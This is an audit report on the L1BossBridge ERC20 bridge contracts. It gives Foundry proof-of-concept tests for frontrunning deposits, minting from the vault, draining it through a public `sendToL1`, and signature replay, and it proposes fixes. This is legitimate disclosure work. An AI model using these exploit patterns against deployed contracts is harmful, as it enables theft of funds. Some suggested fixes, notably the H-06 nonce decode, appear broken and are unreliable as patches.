L1BossBridge Protocol Audit Report

Version 1.0

FalseGenius

May 21, 2024

L1BossBridge Protocol Audit Report

FalseGenius

May 21, 2024

Prepared by: FalseGenius Lead Auditors: - None

Table of Contents

* [H-04] Lack of checks against amount users can withdraw in `L1BossBridge::withdrawTokensToL1` causing loss of tokens
* [H-05] Use of arbitrary `from` in `L1BossBridge::depositTokensToL2` allows users to mint tokens infinitely.
* [H-06] Signature replay vulnerability in `L1BossBridge::sendToL1`, allowing users to drain vault balance.
* [H-07] The `create` opcode does not work on zksync chain, breaking intended functionality of `TokenFactory`.

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

To ensure user safety, this first version of the bridge has a few security mechanisms in place:

- The owner of the bridge can pause operations in emergency situations.
- Because deposits are permissionless, there's an strict limit of tokens that can be deposited.
- Withdrawals must be approved by a bridge operator.

We plan on launching `L1BossBridge` on both Ethereum Mainnet and ZKSync.

Token Compatibility

For the moment, assume *only* the `L1Token.sol` or copies of it will be used as tokens for the bridge. This means all other ERC20s and their weirdness is considered out-of-scope.

On withdrawals

The bridge operator is in charge of signing withdrawal requests submitted by users. These will be submitted on the L2 component of the bridge, not included here. Our service will validate the payloads submitted by users, checking that the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:
  - Ethereum Mainnet:
    - L1BossBridge.sol
    - L1Token.sol
    - L1Vault.sol
    - TokenFactory.sol
  - ZKSync Era:
    - TokenFactory.sol

    - Tokens:
        * L1Token.sol (And copies, with different names & initial supplies) ## Roles

- Bridge Owner: A centralized bridge owner who can:
    - pause/unpause the bridge in the event of an emergency
    - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

I spent 3 days on Auditing this protocol

Issues found

Severity	Number of Issues Found
High	7
Medium	0
Low	0
Informational	0
Total	7

Findings

High

[H-01] Lack of checks in `L1BossBridge::depositTokensToL2`, leads to attacker frontrunning other users, resulting in fund theft.

Description: The `depositTokensToL2` is designed for users to transfer tokens from L1 to L2. However, there are no checks to verify that the `address from` parameter is actually caller of the transac-

tion. This results in malicious users frontrunning users that approved token deposits, allowing them to transfer tokens to themselves in L2 on behalf of a user.

Impact: Passing an arbitrary from address to transferFrom (or safeTransferFrom) can lead to loss of funds, because anyone can transfer tokens from the from address if an approval is made. This severely affects intended functionality of the protocol.

Proof of Concept:

1. A user intends to deposit 10 tokens by approving them.
2. A malicious attacker bruteforces the address of user that approved the tokens.
3. Malicious attacker frontruns the user, initiating the transaction and sending themselves tokens in L2.

```
1
2       function testFrontrunDepositFunction() public {
3           address attacker = makeAddr("attacker");
4           address attackerInL2 = makeAddr("attackerInL2");
5           uint256 amountToDeposit = 10e18;
6           vm.prank(user);
7           token.approve(address(tokenBridge), amountToDeposit);
8
9           vm.prank(attacker);
10          vm.expectEmit();
11          emit Deposit(user, attackerInL2, amountToDeposit);
12
13          tokenBridge.depositTokensToL2(user, attackerInL2,
                amountToDeposit);
14      }
```

Recommended Mitigation: Consider using `msg.sender` instead of an arbitrary `address from` which is passed as an argument,

```
1
2   -    function depositTokensToL2(address from, address l2Recipient,
        uint256 amount) external whenNotPaused {
3   +    function depositTokensToL2(address l2Recipient, uint256 amount)
        external whenNotPaused {
4           if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
5               revert L1BossBridge__DepositLimitReached();
6           }
7   -       token.safeTransferFrom(from, address(vault), amount);
8   +       token.safeTransferFrom(msg.sender, address(vault), amount);
9
10          // Our off-chain service picks up this event and mints the
                corresponding tokens on L2
11  -       emit Deposit(from, l2Recipient, amount);
12  +       emit Deposit(msg.sender, l2Recipient, amount);
13      }
```

[H-02] Erroneous deposit limit check in `L1BossBridge::depositTokensToL2` makes the function inoperable, resulting in Denial-Of-Service.

Description: As per documentation, there's a strict limit of tokens that can be deposited at a time, reflected by `DEPOSIT_LIMIT` constant. The erroneous check in `L1BossBridge::depositTokensToL2` checks the `amount` against `DEPOSIT_LIMIT` as well as the total balance of the vault, making it vulnerable to Denial-of-Service. When the total balance of vault reaches `DEPOSIT_LIMIT`, the `depositTokensToL2` breaks, preventing users from depositing tokens.

Impact: If the deposit function is inoperable, users cannot withdraw tokens on L2, severely breaking the protocol functionality.

Proof of Concept:

1. A user deposits 99_999 tokens.
2. Concurrently, another user deposits 2 tokens.
3. Since the total balance of vault exceeds the `DEPOSIT_LIMIT`, transaction of second user reverts.

PoC

```
1
2       function testDepositBreaksIfVaultBalanceIsGreaterThanLimit() public
            {
3           uint256 depositLimit = tokenBridge.DEPOSIT_LIMIT();
4           uint256 intendedDeposit = depositLimit - 1e18;
5           address alice = makeAddr('alice');
6           address aliceInL2 = makeAddr('aliceInL2');
7
8           vm.prank(deployer);
9           token.transfer(alice, intendedDeposit);
10
11          console2.log("Alice balance: %s", token.balanceOf(alice));
12          vm.startPrank(alice);
13          token.approve(address(tokenBridge), intendedDeposit);
14          tokenBridge.depositTokensToL2(alice, aliceInL2, intendedDeposit
                );
15          vm.stopPrank();
16
17          assertEq(token.balanceOf(address(vault)), intendedDeposit);
18
19          uint256 amountToDeposit = 2e18;
20
21          vm.prank(user);
22          token.approve(address(tokenBridge), amountToDeposit);
23
24          vm.prank(user);
```

```
25          vm.expectRevert(L1BossBridge.L1BossBridge__DepositLimitReached.
                selector);
26          tokenBridge.depositTokensToL2(user, userInL2, amountToDeposit);
27      }
```

Recommended Mitigation: Consider modifying the check in `depositTokensToL2` function so only the amount is checked against the `DEPOSIT_LIMIT`

```
1
2       function depositTokensToL2(address from, address l2Recipient,
            uint256 amount) external whenNotPaused {
3   -       if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
4   +       if (amount > DEPOSIT_LIMIT) {
5               revert L1BossBridge__DepositLimitReached();
6           }
7           token.safeTransferFrom(from, address(vault), amount);
8
9           // Our off-chain service picks up this event and mints the
                corresponding tokens on L2
10          emit Deposit(from, l2Recipient, amount);
11      }
```

[H-03] Wrong `L1BossBridge::sendToL1` visibility allows attackers to drain vault balance

Description: The protocol is set in a way that allows users to withdraw tokens using `L1BossBridge::withdrawTokensToL1` which calls `sendToL1` internally, providing `IERC20.transferFrom` function signature which allows the transfer to happen via interal call. However, `sendToL1` itself is public, allowing malicious users to call `sendToL1` function directly, providing any custom function signature and target contract and drain vault balance.

Impact: Any user can drain vault balance, resulting in loss of funds.

Proof of Concept:

1. A user deposits 1000 tokens into vault.
2. Another user, alice, deposits 1 token.
3. Alice then calls `sendToL1` directly, providing vault as contract address and `L1Vault.approveTo` function signature.
4. Alice gets approved by Boss bridge to withdraw max amount from the vault.
5. Alice calls `withdrawTokensToL1` and drains the vault.

PoC

```
1
2       function testUserCanDrainTheVault() public {
3           // User deposits 1000 tokens
```

```
4           uint256 amountDeposit = 1000e18;
5           vm.startPrank(user);
6           token.approve(address(tokenBridge), amountDeposit);
7           tokenBridge.depositTokensToL2(user, userInL2, amountDeposit);
8           vm.stopPrank();
9
10          uint256 tokensToDeposit = 1e18;
11          address alice = makeAddr("alice");
12          address aliceInL2 = makeAddr("aliceInL2");
13          vm.prank(deployer);
14          token.transfer(alice, tokensToDeposit);
15
16          // Malicious user deposits 1 token
17          vm.startPrank(alice);
18          token.approve(address(tokenBridge), tokensToDeposit);
19          tokenBridge.depositTokensToL2(alice, aliceInL2, tokensToDeposit
                );
20          vm.stopPrank();
21
22          uint256 vaultBalanceBefore = token.balanceOf(address(vault));
23          assertEq(vaultBalanceBefore, amountDeposit + tokensToDeposit);
24
25          bytes memory message = abi.encode(
26                  address(vault),
27                  0, // value
28                  abi.encodeCall(L1Vault.approveTo, (alice, type(uint256)
                        .max))
29              );
30
31          (uint8 v, bytes32 r, bytes32 s) = _signMessage(message,
                operator.key);
32
33          // Malicious user approves themselves to withdraw max amount
34          vm.startPrank(alice);
35          tokenBridge.sendToL1(v, r, s, message);
36
37          bytes memory newMessage = abi.encode(
38                  address(token),
39                  0, // value
40                  abi.encodeCall(IERC20.transferFrom, (address(vault),
                        alice, token.balanceOf(address(vault))))
41              );
42
43          (uint8 v1, bytes32 r1, bytes32 s1) = _signMessage(newMessage,
                operator.key);
44
45          // Malicious user drains vault balance
46          tokenBridge.withdrawTokensToL1(alice, token.balanceOf(address(
                vault)), v1, r1, s1);
47          vm.stopPrank();
48
```

```
        uint256 vaultBalanceAfter = token.balanceOf(address(vault));
        assertEq(vaultBalanceAfter, 0);
        console2.log("Vault balance before: %s", vaultBalanceBefore);
        console2.log("Vault balance after: %s", vaultBalanceAfter);

    }
```

Recommended Mitigation: Consider changing the visibility of `sendToL1` to internal.

```
-   function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {}
+   function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) internal nonReentrant whenNotPaused {}
```

[H-04] Lack of checks against amount users can withdraw in `L1BossBridge::withdrawTokensToL1` causing loss of tokens

Description: The `withdrawTokensToL1` allows users to withdraw tokens from L2. However, there are no checks to prevent users from withdrawing any amount they want regardless of what they have deposited due to missing checks.

Impact: Lack of checks results in loss of funds from the contract.

Proof of Concept:

1. A user deposits 1000 tokens into the vault.
2. Another user alice deposits 1 token.
3. Alice proceeds to withdraw amount equivalent to vault balance due to lack of checks.
4. Alice successfully withdraws vault balance.

PoC

```
    function testUserCanWithdrawAnyAmountTheyWant() public {
        uint256 amountToDeposit = 1000e18;
        vm.startPrank(user);
        token.approve(address(tokenBridge), amountToDeposit);
        tokenBridge.depositTokensToL2(user, userInL2, amountToDeposit);
        vm.stopPrank();

        assertEq(token.balanceOf(address(vault)), amountToDeposit);

        address alice = makeAddr("alice");
        uint256 tokenToDeposit = 1e18;

        vm.prank(deployer);
```

```
15          token.transfer(alice, tokenToDeposit);
16
17          vm.startPrank(alice);
18          token.approve(address(tokenBridge), tokenToDeposit);
19          tokenBridge.depositTokensToL2(alice, userInL2, tokenToDeposit);
20          vm.stopPrank();
21
22          bytes memory message = abi.encode(
23              address(token),
24              0, // value
25              abi.encodeCall(IERC20.transferFrom, (address(vault), alice,
                    token.balanceOf(address(vault))))
26          );
27
28          (uint8 v, bytes32 r, bytes32 s) = _signMessage(message,
                operator.key);
29
30          vm.prank(alice);
31          tokenBridge.withdrawTokensToL1(alice, token.balanceOf(address(
                vault)), v, r, s);
32
33          assertEq(token.balanceOf(alice), amountToDeposit +
                tokenToDeposit);
34          assertEq(token.balanceOf(address(vault)), 0);
35      }
```

Recommended Mitigation: Consider adding a mapping to verify that the amount provided is equivalent to what the user deposited.

```
1
2   +   mapping(address user => uint256 deposit) private userDeposits;
3
4       function depositTokensToL2(address from, address l2Recipient,
            uint256 amount) external whenNotPaused {
5
6           if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
7               revert L1BossBridge__DepositLimitReached();
8           }
9   +       userDeposits[msg.sender] += amount;
10          token.safeTransferFrom(from, address(vault), amount);
11          // Our off-chain service picks up this event and mints the
                corresponding tokens on L2
12          emit Deposit(from, l2Recipient, amount);
13      }
14
15      function withdrawTokensToL1(address to, uint256 amount, uint8 v,
            bytes32 r, bytes32 s) external {
16  +       if (amount > userDeposits[to]) revert();
17  +       userDeposits[to] = 0;
18          sendToL1(
19              v,
```

```
20              r,
21              s,
22              abi.encode(
23                  address(token),
24                  0, // value
25                  abi.encodeCall(IERC20.transferFrom, (address(vault), to
                        , amount))
26              )
27          );
28      }
```

[H-05] Use of arbitrary `from` in `L1BossBridge::depositTokensToL2` allows users to mint tokens infinitely.

Description: There are no checks against the arbitrary `from` in `L1BossBridge::depositTokensToL2`. Since the vault has approved `L1BossBridge` to move tokens out of vault, Users can mint tokens directly from the vault to themselves via `depositTokensToL2` function, minting infinite tokens.

Impact: User can get tokens by depositing nothing, resulting in loss of funds.

Proof of Concept:

1. User deposits 100 tokens to the bridge and provides address of the vault as argument to `from`.
2. There's no change in balance of vault on L1, but a deposit event is emitted, which the off-chain service picks up.
3. User gets minted tokens on L2 by depositing nothing!

```
1
2       function testMintInfiniteTokens() public {
3           address attacker = makeAddr("attacker");
4           uint256 amountToMint = 100e18;
5           vm.prank(deployer);
6           token.transfer(address(vault), amountToMint);
7
8           vm.expectEmit();
9           emit Deposit(address(vault), attacker, amountToMint);
10
11          tokenBridge.depositTokensToL2(address(vault), attacker,
                amountToMint);
12      }
```

Recommended Mitigation: Consider adding the following check against the `from` parameter,

```
1
2       function depositTokensToL2(address from, address l2Recipient,
            uint256 amount) external whenNotPaused {
3   +       if (from != msg.sender) revert();
```

```
4           if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
5               revert L1BossBridge__DepositLimitReached();
6           }
7
8           token.safeTransferFrom(from, address(vault), amount);
9
10          emit Deposit(from, l2Recipient, amount);
11      }
```

[H-06] Signature replay vulnerability in `L1BossBridge::sendToL1`, allowing users to drain vault balance.

Description: The `L1BossBridge::sendToL1` is designed to verify the signatures of signers that deposited tokens, allowing them to withdraw it from L2. It lacks any safety measures against reuse of the same signatures. As long as signatures are valid, a user can withdraw as many times as they want!

Impact: Signature replay attack results in loss of funds, with malicious users getting undeserved tokens and it results in loss of tokens.

Proof of Concept:

1. Current balance of vault is 1000 tokens.
2. Attacker deposits 100 ether to the vault.
3. Attacker then calls `sendToL1` with valid signatures repeatedly, until the vault balance becomes zero.

```
1
2       function testSignatureReplayAttack() public {
3           uint256 amountToMint = 1000 ether;
4           uint256 amountToDeposit = 100 ether;
5           address attacker = makeAddr("attacker");
6           vm.prank(deployer);
7           token.transfer(attacker, amountToMint);
8
9           vm.prank(attacker);
10          token.approve(address(tokenBridge), amountToMint);
11
12          tokenBridge.depositTokensToL2(attacker, attacker,
                amountToDeposit);
13
14          bytes memory message = abi.encode(
15              address(token),
16              0, // value
17              abi.encodeCall(IERC20.transferFrom, (address(vault),
                    attacker, token.balanceOf(address(vault))))
```

```
18          );
19
20          (uint8 v, bytes32 r, bytes32 s) = _signMessage(message,
                operator.key);
21
22          while (token.balanceOf(address(vault)) > 0) {
23              tokenBridge.sendToL1(v, r, s, message);
24          }
25
26          assertEq(token.balanceOf(address(vault)), 0);
27      }
```

Recommended Mitigation: Consider the following recommendation,

Include a nonce or a unique identifier in each transaction message and maintain a record of executed nonces within the contract. This way, if the same nonce is used again, the contract can detect it as a replayed transaction and reject it

```
1
2   +    mapping(address => uint256) private nonces;
3        function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory
             message) public nonReentrant whenNotPaused {
4            address signer = ECDSA.recover(MessageHashUtils.
                 toEthSignedMessageHash(keccak256(message)), v, r, s);
5
6            if (!signers[signer]) {
7                revert L1BossBridge__Unauthorized();
8            }
9
10  -        (address target, uint256 value, bytes memory data) = abi.decode
        (message, (address, uint256, bytes));
11  +        (address target, uint256 value, bytes memory data, uint256
        nonce) = abi.decode(message, (address, uint256, bytes));
12  +        if (nonces[msg.sender] != nonce) revert();
13  +        nonces[msg.sender]++;
14
15           (bool success,) = target.call{ value: value }(data);
16           if (!success) {
17               revert L1BossBridge__CallFailed();
18           }
19       }
```

[H-07] The `create` opcode does not work on zksync chain, breaking intended functionality of `TokenFactory`.

Description: The intended purpose of `TokenFactory` is to deploy new ERC20 tokens by leveraging `create` opcode. The documentation states that the contract will be deployed to ZKSync Era. The

create opcode is not compaitable with ZkSync Era.

Impact: Deployer would not be able to deploy any tokens, breaking the intended purpose all contracts since there wouldn't be any L1Tokens in circulation.

Proof of Concept:

As stated in ZkSync documentation here,

https://docs.zksync.io/build/developer-reference/differences-with-ethereum.html#create-create2

`create` opcode won't function on ZkSync chain.

Recommended Mitigation: Consider using `create2` opcode instead as stated in the following reference,

https://docs.zksync.io/build/developer-reference/differences-with-ethereum.html#create-create2